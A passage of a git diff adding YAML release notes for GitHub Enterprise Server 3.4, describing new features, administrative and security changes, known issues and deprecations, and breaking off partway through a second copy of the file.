+    - heading: Export license data of committer-based billing for GitHub Advanced Security
+      notes:
+        # https://github.com/github/releases/issues/1757
+        - |
+          Enterprise and organization owners can now export their {% data variables.product.prodname_GH_advanced_security %} license usage data to a CSV file. The {% data variables.product.prodname_advanced_security %} billing data can also be retrieved via billing endpoints in the REST API. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-11-export-github-advanced-security-license-usage-data/)."
+
+    - heading: GitHub Actions reusable workflows in public beta
+      notes:
+        # https://github.com/github/releases/issues/1541
+        - |
+          You can now reuse entire workflows as if they were an action. This feature is available in public beta. Instead of copying and pasting workflow definitions across repositories, you can now reference an existing workflow with a single line of configuration. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-05-github-actions-dry-your-github-actions-configuration-by-reusing-workflows/)."
+
+    - heading: Dependabot security and version updates in public beta
+      notes:
+        # https://github.com/github/releases/issues/2004
+        - |
+          {% data variables.product.prodname_dependabot %} is now available in {% data variables.product.prodname_ghe_server %} 3.4 as a public beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_dependabot %} to be enabled by an administrator. Beta feedback and suggestions can be shared in the [{% data variables.product.prodname_dependabot %} Feedback GitHub discussion](https://github.com/community/community/discussions/categories/dependabot). For more information and to try the beta, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)."
+
+  changes:
+    - heading: Administration Changes
+      notes:
+        # https://github.com/github/releases/issues/1657
+        - Users can now choose the number of spaces a tab is equal to, by setting their preferred tab size in the "Appearance" settings of their user account. All code with a tab indent will render using the preferred tab size.
+
+        # https://github.com/github/releases/issues/2062
+        - The {% data variables.product.prodname_github_connect %} data connection record now includes a count of the number of active and dormant users and the configured dormancy period.
+
+    - heading: Performance Changes
+      notes:
+      # https://github.com/github/releases/issues/2031
+      - WireGuard, used to secure communication between {% data variables.product.prodname_ghe_server %} instances in a High Availability configuration, has been migrated to the Kernel implementation.
+
+    - heading: Notification Changes
+      notes:
+      # https://github.com/github/releases/issues/1801
+      - Organization owners can now unsubscribe from email notifications when new deploy keys are added to repositories belonging to their organizations. For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)."
+
+      # https://github.com/github/releases/issues/1714
+      - 'Notification emails from newly created issues and pull requests now include `(Issue #xx)` or `(PR #xx)` in the email subject, so you can recognize and filter emails that reference these types of issues.'
+
+    - heading: Organization Changes
+      notes:
+        # https://github.com/github/releases/issues/1509
+        - Organizations can now display a `README.md` file on their profile Overview. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-14-readmes-for-organization-profiles/)."
+
+        # https://github.com/github/releases/issues/1883
+        - Members of organizations can now view a list of their enterprise owners under the organization's "People" tab. The enterprise owners list is also now accessible using the GraphQL API. For more information, see the "[`enterpriseOwners`](/graphql/reference/objects#organization)" field under the Organization object in the GraphQL API documentation.
+
+    - heading: Repositories changes
+      notes:
+        # https://github.com/github/releases/issues/1944
+        - |
+          A "Manage Access" section is now shown on the "Collaborators and teams" page in your repository settings. The new section makes it easier for repository administrators to see and manage who has access to their repository, and the level of access granted to each user. Administrators can now:
+
+          * Search all members, teams and collaborators who have access to the repository.
+          * View when members have mixed role assignments, granted to them directly as individuals or indirectly via a team. This is visualized through a new "mixed roles" warning, which displays the highest level role the user is granted if their permission level is higher than their assigned role.
+          * Manage access to popular repositories reliably, with page pagination and fewer timeouts when large groups of users have access.
+
+        # https://github.com/github/releases/issues/1748
+        - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the repository invitation experience, such as notifications for private repository invites, a UI prompt when visiting a private repository you have a pending invitation for, and a banner on a public repository overview page when there is an pending invitation.'
+
+        # https://github.com/github/releases/issues/1739
+        - You can now use single-character prefixes for custom autolinks. Autolink prefixes also now allow `.`, `-`, `_`, `+`, `=`, `:`, `/`, and `#` characters, as well as alphanumerics. For more information about custom autolinks, see "[Configuring autolinks to reference external resources](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)."
+
+        # https://github.com/github/releases/issues/1776
+        - A `CODE_OF_CONDUCT.md` file in the root of a repository is now highlighted in the "About" sidebar on the repository overview page.
+
+    - heading: 'Releases changes'
+      notes:
+        # https://github.com/github/releases/issues/1723
+        - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the Releases UI, such as automatically generated release notes which display a summary of all the pull requests for a given release. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-20-improvements-to-github-releases-generally-available/)."'
+
+        # https://github.com/github/releases/issues/1606
+        - When a release is published, an avatar list is now displayed at the bottom of the release. Avatars for all user accounts mentioned in the release notes are shown. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)."
+
+    - heading: 'Markdown changes'
+      notes:
+        # https://github.com/github/releases/issues/1779
+        - You can now use the new "Accessibility" settings page to manage your keyboard shortcuts. You can choose to disable keyboard shortcuts that only use single characters like <kbd>S</kbd>, <kbd>G</kbd> <kbd>C</kbd>, and <kbd>.</kbd> (the period key). For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-16-managing-keyboard-shortcuts-using-accessibility-settings/)."
+
+        # https://github.com/github/releases/issues/1727
+        - You can now choose to use a fixed-width font in Markdown-enabled fields, like issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-12-fixed-width-font-support-in-markdown-enabled-fields/)."
+
+        # https://github.com/github/releases/issues/1761
+        - You can now paste a URL on selected text to quickly create a Markdown link. This works in all Markdown-enabled fields, such as issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-linkify-selected-text-on-url-paste/)."
+
+        # https://github.com/github/releases/issues/1758
+        - An image URL can now be appended with a theme context, such as `#gh-dark-mode-only`, to define how the Markdown image is displayed to a viewer. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-specify-theme-context-for-images-in-markdown/)."
+
+        # https://github.com/github/releases/issues/1686
+        - When creating or editing a gist file with the Markdown (`.md`) file extension, you can now use the "Preview" or "Preview Changes" tab to display a Markdown rendering of the file contents. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-17-preview-the-markdown-rendering-of-gists/)."
+
+        # https://github.com/github/releases/issues/1754
+        - When typing the name of a {% data variables.product.prodname_dotcom %} user in issues, pull requests and discussions, the @mention suggester now ranks existing participants higher than other {% data variables.product.prodname_dotcom %} users, so that it's more likely the user you're looking for will be listed.
+
+        # https://github.com/github/releases/issues/1636
+        - Right-to-left languages are now supported natively in Markdown files, issues, pull requests, discussions, and comments.
+
+    - heading: 'Issues and pull requests changes'
+      notes:
+        # https://github.com/github/releases/issues/1731
+        - The diff setting to hide whitespace changes in the pull request "Files changed" tab is now retained for your user account for that pull request. The setting you have chosen is automatically reapplied if you navigate away from the page and then revisit the "Files changed" tab of the same pull request.
+
+        # https://github.com/github/releases/issues/1663
+        - When using auto assignment for pull request code reviews, you can now choose to only notify requested team members independently of your auto assignment settings. This setting is useful in scenarios where many users are auto assigned but not all users require notification. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-team-member-pull-request-review-notifications-can-be-configured-independently-of-auto-assignment/)."
+
+    - heading: 'Branches changes'
+      notes:
+        # https://github.com/github/releases/issues/1526
+        - Organization and repository administrators can now trigger webhooks to listen for changes to branch protection rules on their repositories. For more information, see the "[branch_protection_rule](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)" event in the webhooks events and payloads documentation.
+
+        # https://github.com/github/releases/issues/1759
+        - When configuring protected branches, you can now enforce that a required status check is provided by a specific {% data variables.product.prodname_github_app %}. If a status is then provided by a different application, or by a user via a commit status, merging is prevented. This ensures all changes are validated by the intended application. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-01-ensure-required-status-checks-provided-by-the-intended-app/)."
+
+        # https://github.com/github/releases/issues/1911
+        - Only users with administrator permissions are now able to rename protected branches and modify branch protection rules. Previously, with the exception of the default branch, a collaborator could rename a branch and consequently any non-wildcard branch protection rules that applied to that branch were also renamed. For more information, see "[Renaming a branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)."
+
+        # https://github.com/github/releases/issues/1845
+        - Administrators can now allow only specific users and teams to bypass pull request requirements. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-19-allow-bypassing-required-pull-requests/)."
+
+        # https://github.com/github/releases/issues/1850
+        - Administrators can now allow only specific users and teams to force push to a repository. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-21-specify-who-can-force-push-to-a-repository/)."
+
+        # https://github.com/github/releases/issues/1796
+        - When requiring pull requests for all changes to a protected branch, administrators can now choose if approved reviews are also a requirement. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-require-pull-requests-without-requiring-reviews/)."
+
+    - heading: 'GitHub Actions changes'
+      notes:
+        # https://github.com/github/releases/issues/1906
+        - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} for the `create`, `deployment`, and `deployment_status` events now always receive a read-only token and no secrets. Similarly, workflows triggered by {% data variables.product.prodname_dependabot %} for the `pull_request_target` event on pull requests where the base ref was created by {% data variables.product.prodname_dependabot %}, now always receive a read-only token and no secrets. These changes are designed to prevent potentially malicious code from executing in a privileged workflow. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."'
+
+        # https://github.com/github/releases/issues/1667
+        - Workflow runs on `push` and `pull_request` events triggered by {% data variables.product.prodname_dependabot %} will now respect the permissions specified in your workflows, allowing you to control how you manage automatic dependency updates. The default token permissions will remain read-only. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-06-github-actions-workflows-triggered-by-dependabot-prs-will-respect-permissions-key-in-workflows/)."
+
+        # https://github.com/github/releases/issues/1668
+        - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} will now be sent the {% data variables.product.prodname_dependabot %} secrets. You can now pull from private package registries in your CI using the same secrets you have configured for {% data variables.product.prodname_dependabot %} to use, improving how {% data variables.product.prodname_actions %} and {% data variables.product.prodname_dependabot %} work together. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."'
+
+        # https://github.com/github/releases/issues/1615
+        - You can now manage runner groups and see the status of your self-hosted runners using new Runners and Runner Groups pages in the UI. The Actions settings page for your repository or organization now shows a summary view of your runners, and allows you to deep dive into a specific runner to edit it or see what job it may be currently running. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-20-github-actions-experience-refresh-for-the-management-of-self-hosted-runners/)."
+
+        # https://github.com/github/releases/issues/1785
+        - 'Actions authors can now have their action run in Node.js 16 by specifying [`runs.using` as `node16` in the action''s `action.yml`](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions). This is in addition to the existing Node.js 12 support; actions can continue to specify `runs.using: node12` to use the Node.js 12 runtime.'
+
+        # https://github.com/github/releases/issues/1799
+        - 'For manually triggered workflows, {% data variables.product.prodname_actions %} now supports the `choice`, `boolean`, and `environment` input types in addition to the default `string` type. For more information, see "[`on.workflow_dispatch.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_dispatchinputs)."'
+
+        # https://github.com/github/releases/issues/1782
+        - Actions written in YAML, also known as composite actions, now support `if` conditionals. This lets you prevent specific steps from executing unless a condition has been met. Like steps defined in workflows, you can use any supported context and expression to create a conditional.
+
+        # https://github.com/github/releases/issues/1919
+        - The search order behavior for self-hosted runners has now changed, so that the first available matching runner at any level will run the job in all cases. This allows jobs to be sent to self-hosted runners much faster, especially for organizations and enterprises with lots of self-hosted runners. Previously, when running a job that required a self-hosted runner, {% data variables.product.prodname_actions %} would look for self-hosted runners in the repository, organization, and enterprise, in that order.
+
+        # https://github.com/github/releases/issues/1753
+        - Runner labels for {% data variables.product.prodname_actions %} self-hosted runners can now be listed, added and removed using the REST API. For more information about using the new APIs at a repository, organization, or enterprise level, see "[Repositories](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)", "[Organizations](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)", and "[Enterprises](/rest/reference/enterprise-admin#list-labels-for-a-self-hosted-runner-for-an-enterprise)" in the REST API documentation.
+
+    - heading: 'Dependabot and Dependency graph changes'
+      notes:
+        # https://github.com/github/releases/issues/1520
+        - Dependency graph now supports detecting Python dependencies in repositories that use the Poetry package manager. Dependencies will be detected from both `pyproject.toml` and `poetry.lock` manifest files.
+
+        # https://github.com/github/releases/issues/1921
+        - When configuring {% data variables.product.prodname_dependabot %} security and version updates on GitHub Enterprise Server, we recommend you also enable {% data variables.product.prodname_dependabot %} in {% data variables.product.prodname_github_connect %}. This will allow {% data variables.product.prodname_dependabot %} to retrieve an updated list of dependencies and vulnerabilities from {% data variables.product.prodname_dotcom_the_website %}, by querying for information such as the changelogs of the public releases of open source code that you depend upon. For more information, see "[Enabling the dependency graph and Dependabot alerts for your enterprise](/admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise)."
+
+        # https://github.com/github/releases/issues/1717
+        - '{% data variables.product.prodname_dependabot_alerts %} alerts can now be dismissed using the GraphQL API. For more information, see the "[dismissRepositoryVulnerabilityAlert](/graphql/reference/mutations#dismissrepositoryvulnerabilityalert)" mutation in the GraphQL API documentation.'
+
+    - heading: 'Code scanning and secret scanning changes'
+      notes:
+        # https://github.com/github/releases/issues/1802
+        - The {% data variables.product.prodname_codeql %} CLI now supports including markdown-rendered query help in SARIF files, so that the help text can be viewed in the {% data variables.product.prodname_code_scanning %} UI when the query generates an alert. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-23-display-help-text-for-your-custom-codeql-queries-in-code-scanning/)."
+
+        # https://github.com/github/releases/issues/1790
+        - The {% data variables.product.prodname_codeql %} CLI and {% data variables.product.prodname_vscode %} extension now support building databases and analyzing code on machines powered by Apple Silicon, such as Apple M1. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-codeql-now-supports-apple-silicon-m1/)."
+
+        # https://github.com/github/releases/issues/1732
+        - |
+          The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) from the Python ecosystem. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-codeql-code-scanning-now-recognizes-more-python-libraries-and-frameworks/)."
+
+        # https://github.com/github/releases/issues/1567
+        - Code scanning with {% data variables.product.prodname_codeql %} now includes beta support for analyzing code in all common Ruby versions, up to and including 3.02. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-27-codeql-code-scanning-adds-beta-support-for-ruby/)."
+
+        # https://github.com/github/releases/issues/1764
+        - |
+          Several improvements have been made to the {% data variables.product.prodname_code_scanning %} API:
+
+          * The `fixed_at` timestamp has been added to alerts. This timestamp is the first time that the alert was not detected in an analysis.
+          * Alert results can now be sorted using `sort` and `direction` on either `created`, `updated` or `number`. For more information, see "[List code scanning alerts for a repository](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)."
+          * A `Last-Modified` header has been added to the alerts and alert endpoint response. For more information, see [`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified) in the Mozilla documentation.
+          * The `relatedLocations` field has been added to the SARIF response when you request a code scanning analysis. The field may contain locations which are not the primary location of the alert. See an example in the [SARIF spec](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012616) and for more information see "[Get a code scanning analysis for a repository](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)."
+          * Both `help` and `tags` data have been added to the webhook response alert rule object. For more information, see "[Code scanning alert webhooks events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert)."
+          * Personal access tokens with the `public_repo` scope now have write access for code scanning endpoints on public repos, if the user has permission.
+
+          For more information, see "[Code scanning](/rest/reference/code-scanning)" in the REST API documentation.
+
+        # https://github.com/github/releases/issues/1943
+        - '{% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve private repository secret scanning results at the enterprise level. The new endpoint supplements the existing repository-level and organization-level endpoints. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation.'
+
+  # No security/bug fixes for the RC release
+  # security_fixes:
+  #   - PLACEHOLDER
+
+  # bugs:
+  #   - PLACEHOLDER
+
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - Actions services needs to be restarted after restoring appliance from backup taken on a different host.
+
+  deprecations:
+    - heading: Deprecation of GitHub Enterprise Server 3.0
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+    - heading: Deprecation of GitHub Enterprise Server 3.1
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+
+    - heading: Deprecation of XenServer Hypervisor support
+      notes:
+        # https://github.com/github/docs-content/issues/4439
+        - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.
+
+    - heading: Deprecation of the Content Attachments API preview
+      notes:
+        #
+        - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments.
+
+    - heading: Deprecation of the Codes of Conduct API preview
+      notes:
+        # https://github.com/github/releases/issues/1708
+        - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.'
+
+    - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters
+      notes:
+        # https://github.com/github/releases/issues/1316
+        - |
+          Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make).
+
+    - heading: Deprecation of the CodeQL runner
+      notes:
+        # https://github.com/github/releases/issues/1632
+        - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).
+
+    - heading: Deprecation of custom bit-cache extensions
+      notes:
+        # https://github.com/github/releases/issues/1415
+        - |
+          Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards.
+
+          Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated.
+
+          Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed.
+
+          To start a repository maintenance task manually, browse to `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` for each affected repository and click the Schedule button.
+
+  backups:
+    - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/0.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/0.yml
new file mode 100644
index 0000000000..8f3df3ef18
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/0.yml
@@ -0,0 +1,314 @@
+date: '2022-03-15'
+intro: |
+
+  For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."
+
+  > This release is dedicated to our colleague and friend John, a Hubber who was always there to help. You will be greatly missed.
+  >
+  > **John "Ralph" Wiebalk 1986–2021**
+
+sections:
+  features:
+    - heading: Secret scanning REST API now returns locations
+      notes:
+        # https://github.com/github/releases/issues/1642
+        - |
+          {% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve commit details of secrets detected in private repository scans. The new endpoint returns details of a secret's first detection within a file, including the secret's location and commit SHA. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation.
+
+    - heading: Export license data of committer-based billing for GitHub Advanced Security
+      notes:
+        # https://github.com/github/releases/issues/1757
+        - |
+          Enterprise and organization owners can now export their {% data variables.product.prodname_GH_advanced_security %} license usage data to a CSV file. The {% data variables.product.prodname_advanced_security %} billing data can also be retrieved via billing endpoints in the REST API. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-11-export-github-advanced-security-license-usage-data/)."
+
+    - heading: GitHub Actions reusable workflows in public beta
+      notes:
+        # https://github.com/github/releases/issues/1541
+        - |
+          You can now reuse entire workflows as if they were an action. This feature is available in public beta. Instead of copying and pasting workflow definitions across repositories, you can now reference an existing workflow with a single line of configuration. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-05-github-actions-dry-your-github-actions-configuration-by-reusing-workflows/)."
+
+    - heading: Dependabot security and version updates in public beta
+      notes:
+        # https://github.com/github/releases/issues/2004
+        - |
+          {% data variables.product.prodname_dependabot %} is now available in {% data variables.product.prodname_ghe_server %} 3.4 as a public beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_dependabot %} to be enabled by an administrator. Beta feedback and suggestions can be shared in the [{% data variables.product.prodname_dependabot %} Feedback GitHub discussion](https://github.com/community/community/discussions/categories/dependabot). For more information and to try the beta, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)."
+
+    - heading: SAML authentication supports encrypted assertions
+      notes:
+        # https://github.com/github/releases/issues/1946
+        - |
+          If you use SAML authentication for {% data variables.product.prodname_ghe_server %}, you can now configure encrypted assertions from your IdP to improve security. Encrypted assertions add an additional layer of encryption when your IdP transmits information to {% data variables.location.product_location %}. For more information, see "[Using SAML](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml#enabling-encrypted-assertions)."
+
+    - heading: Edit files within pull requests in GitHub Mobile for iOS
+      notes:
+        # https://github.com/github/releases/issues/2514
+        - |
+          In GitHub Mobile for iOS 1.80.0 and later, users can now edit files within a pull request's topic branch. Support for editing files will come to GitHub Mobile for Android in a future release. [Updated: 2022-09-13]
+
+  changes:
+    - heading: Administration Changes
+      notes:
+        # https://github.com/github/releases/issues/1657
+        - Users can now choose the number of spaces a tab is equal to, by setting their preferred tab size in the "Appearance" settings of their user account. All code with a tab indent will render using the preferred tab size.
+
+        # https://github.com/github/releases/issues/2062
+        - The {% data variables.product.prodname_github_connect %} data connection record now includes a count of the number of active and dormant users and the configured dormancy period.
+
+        # https://github.com/github/releases/issues/1722
+        - You can now give users access to enterprise-specific links by adding custom footers to {% data variables.product.prodname_ghe_server %}. For more information, see "[Configuring custom footers](/admin/configuration/configuring-your-enterprise/configuring-custom-footers)."
+
+    - heading: Performance Changes
+      notes:
+      # https://github.com/github/releases/issues/2031
+      - WireGuard, used to secure communication between {% data variables.product.prodname_ghe_server %} instances in a High Availability configuration, has been migrated to the Kernel implementation.
+
+    - heading: Notification Changes
+      notes:
+      # https://github.com/github/releases/issues/1801
+      - Organization owners can now unsubscribe from email notifications when new deploy keys are added to repositories belonging to their organizations. For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)."
+
+      # https://github.com/github/releases/issues/1714
+      - 'Notification emails from newly created issues and pull requests now include `(Issue #xx)` or `(PR #xx)` in the email subject, so you can recognize and filter emails that reference these types of issues.'
+
+    - heading: Organization Changes
+      notes:
+        # https://github.com/github/releases/issues/1509
+        - Organizations can now display a `README.md` file on their profile Overview. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-14-readmes-for-organization-profiles/)."
+
+        # https://github.com/github/releases/issues/1883
+        - Members of organizations can now view a list of their enterprise owners under the organization's "People" tab. The enterprise owners list is also now accessible using the GraphQL API. For more information, see the "[`enterpriseOwners`](/graphql/reference/objects#organization)" field under the Organization object in the GraphQL API documentation.
+
+    - heading: Repositories changes
+      notes:
+        # https://github.com/github/releases/issues/1944
+        - |
+          A "Manage Access" section is now shown on the "Collaborators and teams" page in your repository settings. The new section makes it easier for repository administrators to see and manage who has access to their repository, and the level of access granted to each user. Administrators can now:
+
+          * Search all members, teams and collaborators who have access to the repository.
+          * View when members have mixed role assignments, granted to them directly as individuals or indirectly via a team. This is visualized through a new "mixed roles" warning, which displays the highest level role the user is granted if their permission level is higher than their assigned role.
+          * Manage access to popular repositories reliably, with page pagination and fewer timeouts when large groups of users have access.
+
+        # https://github.com/github/releases/issues/1748
+        - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the repository invitation experience, such as notifications for private repository invites, a UI prompt when visiting a private repository you have a pending invitation for, and a banner on a public repository overview page when there is an pending invitation.'
+
+        # https://github.com/github/releases/issues/1739
+        - You can now use single-character prefixes for custom autolinks. Autolink prefixes also now allow `.`, `-`, `_`, `+`, `=`, `:`, `/`, and `#` characters, as well as alphanumerics. For more information about custom autolinks, see "[Configuring autolinks to reference external resources](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)."
+
+        # https://github.com/github/releases/issues/1776
+        - A `CODE_OF_CONDUCT.md` file in the root of a repository is now highlighted in the "About" sidebar on the repository overview page.
+
+    - heading: 'Releases changes'
+      notes:
+        # https://github.com/github/releases/issues/1723
